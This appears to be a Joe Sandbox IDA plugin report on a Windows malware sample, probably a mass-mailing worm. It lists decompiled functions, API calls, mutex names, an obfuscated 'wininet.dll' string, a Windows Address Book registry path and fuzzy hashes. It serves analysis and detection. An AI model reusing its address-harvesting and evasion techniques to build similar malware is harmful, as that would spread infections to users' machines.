Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$CloseCreate$HandleMappingOpenQuerySizeValuememset
String ID: Software\Microsoft\WAB\WAB4\Wab File Name
API String ID: 1684987478-619501371
Opcode ID: ae81365a51869575d2673718a71df65f94980f08528c5a3444192b759fc5e03b
Instruction ID: fb9affdcd003a3e7f59b61beff737c010c0f055de032600ad664b438ea4410d9
Opcode Fuzzy Hash: ae81365a51869575d2673718a71df65f94980f08528c5a3444192b759fc5e03b
Instruction Fuzzy Hash: EB119DB0804755DFD710EF25C98939FBBF4BB44348F40896EE88867381D7B996888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00405316 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405316(char* __ebx) {
				void* _v8;
				char _v76;
				intOrPtr _v88;
				int _t5;
				char* _t9;
				char* _t11;
				char* _t13;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr* _t16;
				char** _t17;

				_t15 = _t14 - 0x54;
				_v88 = 0x40;
				_t11 =  &_v76;
				 *_t15 = _t11; // executed
				_t5 = gethostname(__ebx, ??); // executed
				_t16 = _t15 - 8;
				 *_t16 = _t11; // executed
				L004086D8(); // executed
				_t17 = _t16 - 4;
				_t13 = "192.168.1.2";
				if(_t5 != 0) {
					_t9 =  *( *( *(_t5 + 0xc)));
					 *_t17 = _t9;
					L004086E0();
					_t13 = _t9;
				}
				return _t13;
			}

0x0040531a
0x0040531d
0x00405325
0x00405328
0x0040532b
0x00405330
0x00405333
0x00405336
0x0040533b
0x0040533e
0x00405345
0x0040534c
0x0040534e
0x00405351
0x00405359
0x00405359
0x00405361

APIs

gethostname.WS2_32 ref: 0040532B
gethostbyname.WS2_32 ref: 00405336
inet_ntoa.WS2_32 ref: 00405351

Strings

192.168.1.2, xrefs: 0040533E
@, xrefs: 0040531D

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: gethostbynamegethostnameinet_ntoa
String ID: 192.168.1.2$@
API String ID: 289322838-3711723240
Opcode ID: 53e6652a29276b7c7a8d69185b240c4b24bd6d8bd1c62700764e9b3521c3e1f1
Instruction ID: 9ec42d045907c7db8908afb764d072bf234eb471670fc80d8c874dbff0fee724
Opcode Fuzzy Hash: 53e6652a29276b7c7a8d69185b240c4b24bd6d8bd1c62700764e9b3521c3e1f1
Instruction Fuzzy Hash: 7EE030B0A04B048FC700FF39C6C650ABBF4AF44348F06487DE986A7355EA38E9088B57

Uniqueness

Uniqueness Score: -1.00%

Function 004060AA Relevance: 7.6, APIs: 5, Instructions: 70memorystringnetworkCOMMON

Download Yara Rule

APIs

DnsQuery_A.DNSAPI ref: 004060E7
GetProcessHeap.KERNEL32 ref: 0040610A
RtlAllocateHeap.NTDLL ref: 00406122
lstrcpy.KERNEL32 ref: 00406144

Part of subcall function 004013D8: HeapFree.KERNEL32(?,?,?,?,?,?,?,?,0040616A), ref: 00401410

GlobalFree.KERNEL32 ref: 00406182

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Heap$Free$AllocateGlobalProcessQuery_lstrcpy
String ID:
API String ID: 335828720-0
Opcode ID: 999cb63ffb9a5863712809d6eb5f76b5cd111a0a876e40109336245292062e66
Instruction ID: 11d18a1c71fde03939184ec7a539e433b17fdc1711bb96236e21141529c11046
Opcode Fuzzy Hash: 999cb63ffb9a5863712809d6eb5f76b5cd111a0a876e40109336245292062e66
Instruction Fuzzy Hash: 5F2148B09043019BDB00EF65C58476BBBF4BF44354F10893EE894AB382E778D958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004028E2 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 44stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 004028F6
lstrcat.KERNEL32 ref: 00402910
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402929

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Strings

admin@bigtits.com, xrefs: 00402918
L@, xrefs: 004028FE

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedHandleInternetLibraryLoadModuleSleepState
String ID: L@$admin@bigtits.com
API String ID: 2287753751-2810593236
Opcode ID: 99046f5afce886c15dd2c272ce4c1a23cc7a039bac66575eec0d85a53d62dca4
Instruction ID: f8f521ecf4af99865028921a37a865861f0bf00d847523e115314e8123b3051d
Opcode Fuzzy Hash: 99046f5afce886c15dd2c272ce4c1a23cc7a039bac66575eec0d85a53d62dca4
Instruction Fuzzy Hash: 8611CE769053198BCB51EF64D9845CEBBF4EF44314F40857BE885A3240EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00404F0A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39librarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00404F27
LoadLibraryA.KERNEL32 ref: 00404F41
InternetGetConnectedState.WININET ref: 00404F6B

Strings

jvavarg.qyy, xrefs: 00404F11

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ConnectedHandleInternetLibraryLoadModuleState
String ID: jvavarg.qyy
API String ID: 2811557832-2169444084
Opcode ID: 953af9c795a126ac069cc6a1e7fdfe1744ad53d57e8d511445d16c2e39727e70
Instruction ID: fa78873cf606c18224dba544ef8f20ca223ab6e2b08164375e4fcb1cbc50bc80
Opcode Fuzzy Hash: 953af9c795a126ac069cc6a1e7fdfe1744ad53d57e8d511445d16c2e39727e70
Instruction Fuzzy Hash: 03F062B551530486DB10BF359AC629D7AE85F41368F058A3EF8A1A32D2E73CD64CC716

Uniqueness

Uniqueness Score: -1.00%

Function 00403A38 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38sleepCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403A5C
GetDriveTypeA.KERNEL32 ref: 00403A9D
Sleep.KERNEL32 ref: 00403AB1

Part of subcall function 00403790: _mbscpy.MSVCRT ref: 004037D8
Part of subcall function 00403790: memset.MSVCRT ref: 0040383B
Part of subcall function 00403790: FindFirstFileA.KERNEL32 ref: 0040385C
Part of subcall function 00403790: lstrcpy.KERNEL32 ref: 004038CC
Part of subcall function 00403790: _mbscat.MSVCRT ref: 00403910

Strings

C:\, xrefs: 00403A85

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: memset$DriveFileFindFirstSleepType_mbscat_mbscpylstrcpy
String ID: C:\
API String ID: 3442435128-3404278061
Opcode ID: d293f12a55a22e19086a37f23bce7869846b5feac95dcf43aac975cafdb9633c
Instruction ID: ed4c8215e4a3680eb399a4dacd5268703db01feabc7491714eb621602a4a9c6d
Opcode Fuzzy Hash: d293f12a55a22e19086a37f23bce7869846b5feac95dcf43aac975cafdb9633c
Instruction Fuzzy Hash: 1A015BB0C143AC89DB65AB6588563DEBFB49F01319F0484DED6C826282C7784BD8CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 00402F2E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00402F6F
GetFileSize.KERNEL32 ref: 00402F98
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00402FAE

Strings

o7@, xrefs: 00402FBC

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: o7@
API String ID: 1378416451-1511109803
Opcode ID: 7affc5be1ed3ea77ba53b0a5fdcfd58173d39116c07c8aae6814327dab2883a3
Instruction ID: 007f44828535ddf31908dd088b9670435e6e0f876da8f20c920cfb81d13e3c29
Opcode Fuzzy Hash: 7affc5be1ed3ea77ba53b0a5fdcfd58173d39116c07c8aae6814327dab2883a3
Instruction Fuzzy Hash: 27014FB05083459BDB00AF75D1D935EBEF0AB5139CF004A6DE8815B2C2D3FE96488B97

Uniqueness

Uniqueness Score: -1.00%

Function 00402E0D Relevance: 6.3, APIs: 5, Instructions: 65stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402E21
lstrcat.KERNEL32 ref: 00402E3B

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402E63
lstrcat.KERNEL32 ref: 00402E85
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402EAA

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: 1d17a0280bc67e1c3042bcc01e9dc4ba56d3298712c172da46e07356afa5ce70
Instruction ID: f63abfe6bd6a6f6ba5da5a44fc92895626e452bfcf87627a9a73b7892de61845
Opcode Fuzzy Hash: 1d17a0280bc67e1c3042bcc01e9dc4ba56d3298712c172da46e07356afa5ce70
Instruction Fuzzy Hash: 0021ECB59143048BCB10EF64D9816DEBBF0EF84314F40897FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00404812 Relevance: 6.1, APIs: 4, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00403C15), ref: 0040484C
RegOpenKeyExA.ADVAPI32 ref: 0040487A
RegQueryValueExA.ADVAPI32 ref: 004048B5
RegCloseKey.ADVAPI32 ref: 004048C5

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: ad4d9fd33ac52e88bc97e916be29138adab017c360a3b7e03bc0d3226ec02f29
Instruction ID: 49bf87151660670d78cfdeefb83c057e4f3b6f757f6147e457b2a6993822bbc7
Opcode Fuzzy Hash: ad4d9fd33ac52e88bc97e916be29138adab017c360a3b7e03bc0d3226ec02f29
Instruction Fuzzy Hash: 0D21C8F49043099FDB00EF69C18575EBBF4BB48348F40892EE998A7341E378DA488B52

Uniqueness

Uniqueness Score: -1.00%

Function 00404748 Relevance: 6.1, APIs: 4, Instructions: 54registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,00404A84), ref: 00404781
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047AF
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047EA
RegCloseKey.ADVAPI32 ref: 004047FA

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID:
API String ID: 3546245721-0
Opcode ID: 958a2e4ef0ba8bedcf82df9d746db21d8d07d340abbef20f900d82c39de117dd
Instruction ID: 6ed68635854e72cbad61cdb7226dc2d583aa3803ebbc72776a4c5814d6946410
Opcode Fuzzy Hash: 958a2e4ef0ba8bedcf82df9d746db21d8d07d340abbef20f900d82c39de117dd
Instruction Fuzzy Hash: 962179B49043099FD700EF69D58579EBBF4BB48354F40896EE89897341E378D648CB52

Uniqueness

Uniqueness Score: -1.00%

Function 004049EA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00404748: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,00404A84), ref: 00404781
Part of subcall function 00404748: RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047AF
Part of subcall function 00404748: RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00404A84), ref: 004047EA
Part of subcall function 00404748: RegCloseKey.ADVAPI32 ref: 004047FA

CharLowerA.USER32 ref: 00404A8B

Part of subcall function 00404990: strstr.MSVCRT ref: 004049C7

Strings

SYSTEM\ControlSet001\Services\Disk\Enum, xrefs: 004049F5
012, xrefs: 00404A45

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Open$CharCloseLowerQueryValuestrstr
String ID: 012$SYSTEM\ControlSet001\Services\Disk\Enum
API String ID: 2399448135-1634863437
Opcode ID: 78eebafeba9169b15c599dbb74883321dd13a7f0e7c19f3bc8d5233c6d672bb7
Instruction ID: 870a1de997922802b68f1717d84fe3bed6c75bca7598e79a585ce558600d9c18
Opcode Fuzzy Hash: 78eebafeba9169b15c599dbb74883321dd13a7f0e7c19f3bc8d5233c6d672bb7
Instruction Fuzzy Hash: 7221A6B4904218DFCB60DF68EA8069DBBF4EB48314F50413AE958F7750D33499498F99

Uniqueness

Uniqueness Score: -1.00%

Function 004067E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004067E0(void* __ebx, signed int _a4) {
				void* _v8;
				char _v1036;
				signed int _v1040;
				intOrPtr _v1044;
				signed int _v1048;
				signed int _t13;
				signed int _t20;
				signed int _t22;
				void* _t23;
				signed int* _t24;
				intOrPtr* _t25;

				_t24 = _t23 - 0x414;
				_t20 =  &_v1036;
				_v1044 = 0x400;
				_v1048 = 0;
				 *_t24 = _t20;
				memset(__ebx, ??, ??);
				_v1040 = 0;
				_v1044 = 0x400;
				_v1048 = _t20;
				_t13 = _a4;
				 *_t24 = _t13; // executed
				L004086B8(); // executed
				_t25 = _t24 - 0x10;
				_t22 = 0;
				if(_t13 + 1 > 1) {
					 *_t25 =  &_v1036;
					_t22 = (E00406856( &_v1036, _t20) & 0xffffff00 | _t17 - 0x00000190 < 0x00000000) & 0x000000ff;
				}
				return _t22;
			}

APIs

memset.MSVCRT ref: 00406803
recv.WS2_32 ref: 00406822

Part of subcall function 00406856: lstrlen.KERNEL32(?,?,?), ref: 0040686A
Part of subcall function 00406856: sscanf.MSVCRT ref: 0040688E

Strings

fc@, xrefs: 00406850

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrlenmemsetrecvsscanf
String ID: fc@
API String ID: 2556557004-2333546356
Opcode ID: 57b8831d787767b7e49d70fcfe1e2bdaade995b190caae6c1ae862390cc9c723
Instruction ID: 7b1cb7ca667fa739690624300255a696f657d489af5130fe59f4ce6b6cdf8f5c
Opcode Fuzzy Hash: 57b8831d787767b7e49d70fcfe1e2bdaade995b190caae6c1ae862390cc9c723
Instruction Fuzzy Hash: CBF01DB05043049EDB00FF25C58535EBBE4AB44348F51886DE6C8A7382D638D5898B56

Uniqueness

Uniqueness Score: -1.00%

Function 0040402C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00404059
GetLastError.KERNEL32 ref: 00404061

Strings

k_fbpxf5nna, xrefs: 00404033

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: k_fbpxf5nna
API String ID: 1925916568-3032876681
Opcode ID: 6f95fa231079c09e396f6b0f54b5f8dbb5f77dcec0ad5495da8417b03df94277
Instruction ID: b44495afc4b5e1c155c3d7f26a4bf6281c5b98a28f183e2cb1f81a9367dbc24a
Opcode Fuzzy Hash: 6f95fa231079c09e396f6b0f54b5f8dbb5f77dcec0ad5495da8417b03df94277
Instruction Fuzzy Hash: 17E04FB0418308DAC700BF71C1C664DBEE4AB80348F40893EE888622C2C778958C8727

Uniqueness

Uniqueness Score: -1.00%

Function 00403E2E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00403E5B
GetLastError.KERNEL32 ref: 00403E63

Strings

IHYanFuibyan, xrefs: 00403E35

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: IHYanFuibyan
API String ID: 1925916568-2233043627
Opcode ID: 90a2e3c8c183a3a040ff48c78d001bcb7690f83f18904d60cf146c94564bbd81
Instruction ID: b226eb3715ba9fc3d7238d88576273fb4163caaa6f42e8cd02b01324a8811274
Opcode Fuzzy Hash: 90a2e3c8c183a3a040ff48c78d001bcb7690f83f18904d60cf146c94564bbd81
Instruction Fuzzy Hash: 30E04FB0408308DACB00BF71C1C564DBEE4AB40388F40853EE888622C2C778954C8727

Uniqueness

Uniqueness Score: -1.00%

Function 00402B1D Relevance: 5.1, APIs: 4, Instructions: 57stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402B31

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402B59
lstrcat.KERNEL32 ref: 00402B81
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402BA3

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: d5c3f3d570715c51f7e7b691446ce85857babba50002fd9525e46d9e400a1061
Instruction ID: 03b09b6922a9c514b299c22ddce90b04ecaf30bc7003352be57799a9fe594460
Opcode Fuzzy Hash: d5c3f3d570715c51f7e7b691446ce85857babba50002fd9525e46d9e400a1061
Instruction Fuzzy Hash: C121FCB59143148BCB10EF64D9816DEBBF4BB84314F40857FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00402936 Relevance: 5.1, APIs: 4, Instructions: 56stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 0040294A

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402972
lstrcat.KERNEL32 ref: 0040299A
Sleep.KERNEL32 ref: 00402EC5
